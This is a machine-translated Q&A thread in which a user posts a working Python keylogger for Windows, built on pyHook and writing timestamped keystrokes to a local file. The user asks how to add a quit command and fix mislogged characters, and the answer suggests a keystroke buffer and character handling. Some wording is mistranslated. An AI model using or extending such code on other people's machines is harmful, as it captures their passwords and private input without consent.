我正在根据我在网上找到的脚本编写自己的简单密钥记录器。但是,我正在尝试编写一个键命令,以便在键入此命令时关闭记录器程序。我该怎么办呢? (我也知道它根本不安全,不过这个程序并不关心)
例如,Ctrl +'exit'将关闭程序。
此外,有时它不会在它创建的.log文件中正确打印某些字符,可能导致这种情况? (我认为角色鼓励类型可能会导致这个问题)
#Key Logger
#By: K.B. Carte
#Version 1.0
################
import pythoncom, pyHook, sys, logging, time
LOG_FILENAME = 'C:\KeyLog\log.out'
def OnKeyboardEvent(event):
keytime = time.strftime('%I:%M %S %p %A %B %d, %Y ')
logging.basicConfig(filename=LOG_FILENAME,
level=logging.DEBUG,
format='%(message)s')
logging.log(10, keytime + "Key: '" + chr(event.Ascii) + "'")
return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
这是在Windows 7,BTW中。
答案 0 :(得分:0)
要通过某个命令关闭它,说“退出”......你想要创建一个缓冲区....如果你保留所有你登录缓冲区的东西,你可以轻松做到
buff += newkeypress
if "quit" in buff[-4:]:
logfile.close()
sys.exit(0)
或者您可以执行类似附加/弹出列表或其他类型的循环缓冲区
对于时髦的角色,你最终可能想要将整个事物打印为十六进制..或忽略低于ascii 0的事件(例如\ b和其他时髦的角色)
或者..制作一个ascii表(字典)并记录该键的匹配,所以如果你得到\ b你记录''如果得到'0'你就记录'0'